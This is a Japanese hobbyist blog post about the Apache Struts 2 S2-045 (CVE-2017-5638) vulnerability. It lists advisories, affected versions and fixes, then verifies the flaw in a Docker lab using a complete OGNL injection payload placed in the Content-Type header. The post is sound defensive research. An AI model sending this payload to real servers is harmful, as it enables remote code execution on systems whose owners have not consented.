生産性のない話

趣味の範囲でサイバーセキュリティの話

Apache Strtus 2 の脆弱性(S2-045)について

Apache Struts脆弱性S2-045が3月6日に公開されました。

JVNVU#93610402: Apache Struts2 に任意のコードが実行可能な脆弱性

Apache Struts2 には、Jakarta Multipart parser の処理に起因する、任意のコードが実行可能な脆弱性が存在します。

 注意喚起

Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起

Apache Struts2 の脆弱性対策について(CVE-2017-5638)(S2-045):IPA 独立行政法人 情報処理推進機構

まとめ

Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた - piyolog

2017年3月に発生したApache Struts 2で稼働していたとみられるWebサイトへの不正アクセスについてまとめてみた - piyolog

Apache Struts 2における脆弱性 (S2-045、CVE-2017-5638)の被害拡大について | LAC WATCH | 株式会社ラック

技術検証

Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した - R42日記

CVE-2017-5638 - 脆弱性調査レポート | ソフトバンク・テクノロジー

Apache Struts2の脆弱性(CVE-2017-5638)を検証してみた - とある診断員の備忘録

 

リモートから任意コード実行というとても危なげな脆弱性です。Struts 2は過去にもいくつか同じレベルの脆弱性が公開され、なんだかんだ影響が大きかったように思います。

今回もどうもそんなパターンのようです。

内容については上記記事が大体まとめてくれています。つぎはぎすると以下のような感じ。

簡単に概要

この脆弱性は、ファイルアップロード時に使用するマルチパーサー「jakarta」に起因する脆弱性で、同マルチパーサーはApache Struts 2にてデフォルトで使用しているものです。 この脆弱性を利用した攻撃が成立した場合、リモートからApache Struts2が配置されたWebアプリケーションサーバーの実行権限で任意のコードを実行される危険性があります。

ファイルアップロード時のヘッダの処理方式に問題があるようです。

 要するに、Content-TypeにOGNL式を入れるとそのまま実行されてしまうようです。

 影響を受けるバージョン

Apache Struts 2.3.5 ~ 2.3.31
Apache Struts 2.5 ~ 2.5.10

 対策

2017年3月8日付リリース以降のバージョンに更新する。

Apache Struts 2.3.32 以降
Apache Struts 2.5.10.1 以降
また、MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。

https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries

回避策
「Content-Type」に疑わしい値を含むリクエストを検証、破棄するサーブレットフィルタを実装する。

Multipartパーサーの切り替えやサーブレットフィルタはあくまで次善策と考え、アップデートでの対応が望ましいと思われます。

追記・2017/03/25

MultipartパーサーはJakarta Streamでも影響を受けることが公開されました。また、Content-Type以外に、Content-LengthとContent-Dispositionの値を利用した攻撃コードも公開されています。対策についはご注意ください。

 

後追いですが、検証してみます。

「とある診断員」さんのリンクから、DockerでStrutsの検証環境構築に関する記事へのリンクがあり、これが役に立ちます。

Dockerを使って、Apache Struts2の脆弱性S2-037のやられ環境を手軽に作る - DARK MATTER

以下のようなDockerfileを作成

FROM tomcat:7.0-jre8
ADD struts-2.5.10/apps/struts2-rest-showcase.war /usr/local/tomcat/webapps/
CMD ["catalina.sh", "run"]

ADDするwarファイルは好みに応じて、必要なStrutsのバージョンをダウンロードし、展開したものを用意し、そのパスを指定します。

ビルドして実行

docker build -t struts/s2_045 .
docker run -it --rm -p 8080:8080 struts/s2_045

あとはリクエストを投げるだけ。

割と結構面倒なStrutsの環境構築がものの数分で完了するという手軽さ。しかも、Dockerfileをちょっと書き換えるだけで異なるバージョンの環境も簡単に作れます。

後は 「http://localhost:8080/struts2-rest-showcase/orders.xhtml」にアクセスできることを確認し、環境構築は完了です。

 

攻撃検証の方法はなんでもいいのですが、要は「Content-Type」ヘッダに攻撃コードを入れればいいので、REST Clientでやってみます。

URLを指定し、「Content-Type」ヘッダに以下のような攻撃コードを追加。

"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println("testest")).(#ros.flush())}"

まず普通にGETした結果。

f:id:blueBLUE:20170312210521p:plain

次に 「Content-Type」に攻撃コードを追加した結果。

f:id:blueBLUE:20170312210540p:plain

これで、コマンドの結果が返ってきます。ちなみに、GETでもPOSTでもどちらでも攻撃は可能です。

脆弱性の修正されたバージョンのStruts 2.5.10.1に対して、同じリクエストを投げてみると、GETでは200、POSTでは400が返ってきましたボディを確認すると、コマンドは実行されていないようです。

 

昨年の春ごろもStruts脆弱性が騒がれていたので、前回の大きな脆弱性から1年経っていません。Strutsを利用している方は、やはりWAFなどの攻撃に対する緩和策も用意しておくのがいいかと思います。

 

……一番の対策はStrutsを使わないことじゃないでしょうか。